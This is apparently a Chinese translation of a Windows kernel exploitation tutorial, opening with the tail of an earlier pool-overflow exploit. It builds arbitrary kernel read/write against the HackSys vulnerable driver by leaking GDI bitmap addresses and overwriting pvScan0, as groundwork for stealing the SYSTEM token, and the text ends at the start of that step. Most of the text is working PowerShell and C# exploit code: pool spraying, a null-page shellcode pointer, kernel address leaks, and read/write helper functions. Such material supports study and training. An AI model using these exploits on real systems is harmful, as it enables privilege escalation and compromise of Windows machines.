echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray
 
# Allocate null-page
#---
# NtAllocateVirtualMemory must be used as VirtualAlloc
# will refuse a base address smaller than [IntPtr]0x1000
#---
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$AllocationSize = 120 # 0x78
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40)
if ($CallResult -ne 0) {
    echo "[!] Failed to allocate null-page..`n"
    Return
} else {
    echo "[+] Success"
}
echo "[+] Writing shellcode pointer to 0x00000074"
$NullPage = [Byte[]](0x00)*0x73 + $ShellcodePointer
[System.Runtime.InteropServices.Marshal]::Copy($NullPage, 0, [IntPtr]0x1, $NullPage.Length)
 
$PoolHeader = [Byte[]] @(
    0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040)
    0x45, 0x76, 0x65, 0xee  # PoolTag -> Event (0xee657645)
)
 
$ObjectHeaderQuotaInfo = [Byte[]] @(
    0x00, 0x00, 0x00, 0x00, # PagedPoolCharge
    0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40)
    0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge
    0x00, 0x00, 0x00, 0x00  # SecurityDescriptorQuotaBlock
)
 
# This header is partial
$ObjectHeader = [Byte[]] @(
    0x01, 0x00, 0x00, 0x00, # PointerCount (0x1)
    0x01, 0x00, 0x00, 0x00, # HandleCount (0x1)
    0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK
    0x00,                   # TypeIndex (Rewrite 0xC -> 0x0)
    0x00,                   # TraceFlags
    0x08,                   # InfoMask
    0x00                    # Flags
)
 
# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader + $ObjectHeaderQuotaInfo + $ObjectHeader
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200F"
[EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
echo "`n[>] Freeing pool chunks!`n"
for ($i=0;$i -lt $($Event_hArray2.Length);$i++) {
    $CallResult = [EVD]::CloseHandle($Event_hArray2[$i])
}
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  Welcome file
  





  第十七部分：内核利用程序之任意位置任意写

fuzzySecurity于16年更新了数篇Windows内核exp的教程，本文是内核篇的第八篇。点击查看原文。


欢迎回来！我们将再次通过 @HackSysTeam’s 驱动深入到ring0层。本文中我们将重温任意地址任意写漏洞。通过实现一个强大的ring0层读写功能我们可以在32位和64位的Windows 7/8/8.1/10(pre v1607)系统上创造一个可以工作的exploit！如我们即将所见，该技术本质上是一个数据攻击，因此我们将不费力气的绕过SMEP/SMAP/CFG/RFG缓解措施，直达胜利！

本技术有一点“复杂”，需要一些预备知识。这一部分我强烈推荐读者在开始阅读本文之前，先阅读下面的资源。最后，为了尝鲜，我们将在64位的Windows 10系统上开发exp。那就不跟你多BB，让我们开始吧！


	HackSysTeam-PSKernelPwn (@FuzzySec) - here

	Abusing GDI for ring0 exploit primitives (@CoreSecurity) - here

	Abusing GDI Reloaded (@CoreSecurity) - here

	This Time Font hunt you down in 4 bytes (@keen_lab) - here

	Terminus Project (@rwfpl) - here



侦查挑战

我们将直接对第十一部分的任意地址任意写漏洞重新梳理，也就无需再次做完整的

解读。我们只想确保我们的任意写在Win10上依然可以如期工作。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
}
"@
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
 
[byte[]]$Buffer = [System.BitConverter]::GetBytes(0x4141414141414141) + [System.BitConverter]::GetBytes(0x4242424242424242)
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null


看起来我们得到了想要的结果。
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如果你记着第十部分的话就会发现这并不完整。我们写进去的值实际上并不是0x4141414141414141，而是该地址上存储的指针。与此同时，我们的POC仅仅在64位机上成功运行。我们需要对exp的架构独立性进行调整！

我们可以修改buffer结构成下面的内容，以成功在32/64位机实现任意写。

# [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere
#---
[IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.BitConverter]::GetBytes($WriteWhat).Length)
[System.Runtime.InteropServices.Marshal]::Copy([System.BitConverter]::GetBytes($WriteWhat), 0, $WriteWhatPtr, [System.BitConverter]::GetBytes($WriteWhat).Length)
if ($x32Architecture) {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + [System.BitConverter]::GetBytes($WriteWhere)
} else {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt64()) + [System.BitConverter]::GetBytes($WriteWhere)
}


尽管传递了合适的值，它也并不能工作。

Pwn

简单的工作完成了。我们现在想要的是将一个单一任意写漏洞转换成一个完全的ring0读写。在高级别下我们可以：


	创建两个bitmap对象

	泄露出各自的内核地址

	使用任意写漏洞修改其中一个bitmap对象的header成员

	使用Gdi32的GetBitmapBits/SetBitmapBits API调用来读写内核地址空间
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本技术重要的部分在于，当创建一个bitmap时，我们可以泄露出其在内核中的地址。这一泄露在Windows10的v1607版本之后被打上了补丁，哭哭。

如其所呈现般，当创建一个bitmap时，一个结构被附加到了父进程PEB的GdiSharedHandleTable中。给定进程PEB的基地址，GdiSharedHandleTable就在如下的偏移处（分别于32/64位）。

[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}


PEB中的该条目是一个指向GDICELL结构体数组的指针，它定义了多种不同的image类型。该结构体的定义如下：

/// 32bit size: 0x10
/// 64bit size: 0x18
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}


让我们用下面的POC来看看是否可以在KD中手动找到_GDI_CELL结构体。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);
}
"@
 
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$Bitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
"{0:X}" -f [int]$Bitmap


运行POC，立即得到了一个bitmap句柄，可以看到它不是一个标准的句柄值（看起来太大了）。
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实际上，bitmap句柄的最后两个字节是该结构在GdiSharedHandleTable数组中的索引（=>handle & 0xffff）。于是，让我们跳转到KD来看看是否可以找到我们新创建的bitmap的_GDI_CELL结构。
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有了指向GdiSharedHandleTable数组的指针，我们所需要做的就是按结构体尺寸的倍数（64位为0x18）增加结构体的索引。
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Process hacker有一个非常有用的特性来列出GDI对象句柄。我们可以用它来证实在KD中找到的值。
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很棒！我们需要通过重新来采集两个bitmap的信息（manager+worker）。如我们可以看到的，在bitmap句柄上仅仅是做一些简单的数学运算。唯一的问题在于我们要如何拿到进程PEB的基地址。幸运的是，未文档化的NtQueryInformationProcess函数可以解决这个问题。当使用ProcessBasicInformation类(0x0)来调用该函数时，它会返回一个包含PEB基地址的结构体。在这里，我不会进一步描述更多的细节，毕竟这是个妇孺皆知的技巧。下面的POC会清理掉任何疑点！

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public IntPtr InheritedFromUniqueProcessId;
}
 
/// Partial _PEB
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}
 
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}
 
public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationProcess(
        IntPtr processHandle, 
        int processInformationClass,
        ref _PROCESS_BASIC_INFORMATION processInformation,
        int processInformationLength,
        ref int returnLength);
 
    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);
}
"@
 
#==============================================[PEB]
 
# Flag architecture $x32Architecture/!$x32Architecture
if ([System.IntPtr]::Size -eq 4) {
    echo "`n[>] Target is 32-bit!"
    $x32Architecture = 1
} else {
    echo "`n[>] Target is 64-bit!"
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Process Basic Information
$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
$returnLength = New-Object Int
$CallResult = [EVD]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)
# PID & PEB address
echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)"
if ($x32Architecture) {
    echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
} else {
    echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
}
# Lazy PEB parsing
$_PEB = New-Object _PEB
$_PEB = $_PEB.GetType()
$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# GdiSharedHandleTable
if ($x32Architecture) {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X8}" -f $PEBFlags.GdiSharedHandleTable32.ToInt32())"
} else {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X16}" -f $PEBFlags.GdiSharedHandleTable64.ToInt64())"
}
# _GDI_CELL size
$_GDI_CELL = New-Object _GDI_CELL
$_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL)
 
#==============================================[/PEB]
 
#==============================================[Bitmap]
 
echo "`n[>] Creating Bitmaps.."
 
# Manager Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$ManagerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Manager BitMap handle: 0x$("{0:X}" -f [int]$ManagerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
}
 
# Worker Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$WorkerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Worker BitMap handle: 0x$("{0:X}" -f [int]$WorkerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
}
 
#==============================================[/Bitmap]
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注意到我们的脚本是架构独立的！其中的一个疑题解决掉了，但是我们为什么要关心这些bitmap对象呢？

泄露出来的bitmap内核地址在内核空间中指向了下面的GDI baseobject结构。

/// 32bit size: 0x10
/// 64bit size: 0x18
[StructLayout(LayoutKind.Sequential)]
public struct _BASEOBJECT
{
    public IntPtr hHmgr;
    public UInt32 ulShareCount;
    public UInt16 cExclusiveLock;
    public UInt16 BaseFlags;
    public UIntPtr Tid;
}


我们对此并无多大兴趣，如果你想要了解更多关于baseobject的信息，请参考ReactOS wiki here. 在这一头部之后，有一个特定的结构体，它的类型取决于该对象的类型。对于bitmaps来说，这是个 surface object 结构体。

/// 32bit size: 0x34
/// 64bit size: 0x50
[StructLayout(LayoutKind.Sequential)]
public struct _SURFOBJ
{
    public IntPtr dhsurf;
    public IntPtr hsurf;
    public IntPtr dhpdev;
    public IntPtr hdev;
    public IntPtr sizlBitmap;
    public UIntPtr cjBits;
    public IntPtr pvBits;
    public IntPtr pvScan0; /// offset => 32bit = 0x20 & 64bit = 0x38
    public UInt32 lDelta;
    public UInt32 iUniq;
    public UInt32 iBitmapFormat;
    public UInt16 iType;
    public UInt16 fjBitmap;
}


pvScan0成员就是我们想要的！这一成员是一个指针，指向bitmap的首个扫描行。从泄露出来的内核地址我们可以计算出该成员的偏移。

# 32 bit
[IntPtr]pvScan0_32 = $pKernelAddress + 0x30
 
# 64 bit
[IntPtr]pvScan0_64 = $pKernelAddress + 0x50


说了这么多，还是那个问题，为什么要关心这货？好吧，有这样两个GDI32 API调用，GetBitmapBits 和 SetBitmapBits ，它们直接操纵该成员。GetBitmaps允许我们在pvScan0地址上读任意字节，SetBitmapBits允许我们在pvScan0地址上写任意字节。闻到pwn的味道了吗？

我们可以简要的更新POC来包含manager和worker bitmap的pvScan0偏移。

# 32 bit
# IntPtr at $HandleTableEntry = pKernelAddress
$BitmapScan0_32 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
 
# 64 bit
# IntPtr at $HandleTableEntry = pKernelAddress
$BitmapScan0_64 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50


从现在开始，在ring0层的工作就很可以很简单的展开了。最基本的，使用我们的任意写来设置manager bitmap的pvScan0地址去指向worker bitmap的pvScan0地址。整合所有的内容，我们写出下面的POC。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public IntPtr InheritedFromUniqueProcessId;
}
 
/// Partial _PEB
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}
 
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}
 
public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationProcess(
        IntPtr processHandle, 
        int processInformationClass,
        ref _PROCESS_BASIC_INFORMATION processInformation,
        int processInformationLength,
        ref int returnLength);
 
    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);
 
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
}
"@
 
#==============================================[PEB]
 
# Flag architecture $x32Architecture/!$x32Architecture
if ([System.IntPtr]::Size -eq 4) {
    echo "`n[>] Target is 32-bit!"
    $x32Architecture = 1
} else {
    echo "`n[>] Target is 64-bit!"
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Process Basic Information
$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
$returnLength = New-Object Int
$CallResult = [EVD]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)
# PID & PEB address
echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)"
if ($x32Architecture) {
    echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
} else {
    echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
}
# Lazy PEB parsing
$_PEB = New-Object _PEB
$_PEB = $_PEB.GetType()
$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# GdiSharedHandleTable
if ($x32Architecture) {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X8}" -f $PEBFlags.GdiSharedHandleTable32.ToInt32())"
} else {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X16}" -f $PEBFlags.GdiSharedHandleTable64.ToInt64())"
}
# _GDI_CELL size
$_GDI_CELL = New-Object _GDI_CELL
$_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL)
 
#==============================================[/PEB]
 
#==============================================[Bitmap]
 
echo "`n[>] Creating Bitmaps.."
 
# Manager Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$ManagerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Manager BitMap handle: 0x$("{0:X}" -f [int]$ManagerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
    $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
    echo "[+] Manager pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
    $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50
    echo "[+] Manager pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))"
}
 
# Worker Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$WorkerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Worker BitMap handle: 0x$("{0:X}" -f [int]$WorkerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
    $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
    echo "[+] Worker pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
    $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50
    echo "[+] Worker pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))"
}
 
#==============================================[/Bitmap]
 
#==============================================[GDI ring0 primitive]
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere
#---
[IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.BitConverter]::GetBytes($WorkerpvScan0).Length)
[System.Runtime.InteropServices.Marshal]::Copy([System.BitConverter]::GetBytes($WorkerpvScan0), 0, $WriteWhatPtr, [System.BitConverter]::GetBytes($WorkerpvScan0).Length)
if ($x32Architecture) {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + [System.BitConverter]::GetBytes($ManagerpvScan0)
} else {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt64()) + [System.BitConverter]::GetBytes($ManagerpvScan0)
}
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
#==============================================[/GDI ring0 primitive]


运行新的POC，在KD中看一下pvScan0。
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如上图所见，我们正确修改了manager指针，本质上也就达成了可重用的内核任意读写。使用这些bitmap来读写数据的进程可以在下面看到。

# Arbitrary kernel read
(1) GDI32::SetBitmapBits(Address)    -> Manager  # This updates the workers pvScan0 pointer
(2) GDI32::GetBitmapBits(Byte Count) -> Worker   # Reads X bytes from Address

# Arbitrary kernel write
(1) GDI32::SetBitmapBits(Address)    -> Manager  # This updates the workers pvScan0 pointer
(2) GDI32::SetBitmapBits(Value)      -> Worker   # Writes X bytes to Address



花些时间来消化一下，我承认这一开始有些令人困惑。为了方便，我创建了下面的助手函数来做透明化的IntPtr大小的读写。

# Arbitrary Kernel read
function Bitmap-Read {
    param ($Address)
    $CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
    [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
    $CallResult = [EVD]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
    if ($x32Architecture){
        [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
    } else {
        [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
    }
    $CallResult = [EVD]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
}
 
# Arbitrary Kernel write
function Bitmap-Write {
    param ($Address, $Value)
    $CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
    $CallResult = [EVD]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))
}


在内核中可以任意读写后，我们仍需要找出如何获取SYSTEM。记住我们在64位Windows 10上，这里有着大量的增强版缓解措施诸如SMEP（阻止我们在用户空间运行shellcode）。既然我们已经可以自由的拷贝数据了，看起来在执行体进程块（EPROCESS）上可以做一个数据攻击。EPROCESS结构体包含了进程token，这个token描述了该进程的安全上下文，同时包含了进程账户相关的身份以及权限。当进程或线程尝试去与一个安全对象交互或尝试去执行一个需要特定权限的功能时，OS通过查询这个token来鉴权。

既然进程的token仅仅是一个EPROCESS结构体中的IntPtr尺寸的值。如果我们可以找到SYSTEM进程，拷贝它的token并覆盖PowerShell进程的token，那我们就提权到了SYSTEM。

第一步就是拿到一个指向SYSTEM EPROCESS结构体的指针。实际上，为了避免蓝屏，我们仅可以安全的利用目标PID 4。有一个非常方便的全局变量PsInitialSystemProcess 指向了system EPROCESS(->PID 4)。我们可以在NT内核中通过NtQueryInformation API拿到这一基地址。我写了个脚本Get-LoadedModules，用于完成这项任务。我们做下面的计算来获取这一全局变量。

echo "[>] Leaking SYSTEM _EPROCESS.."
$SystemModuleArray = Get-LoadedModules
$KernelBase = $SystemModuleArray[0].ImageBase
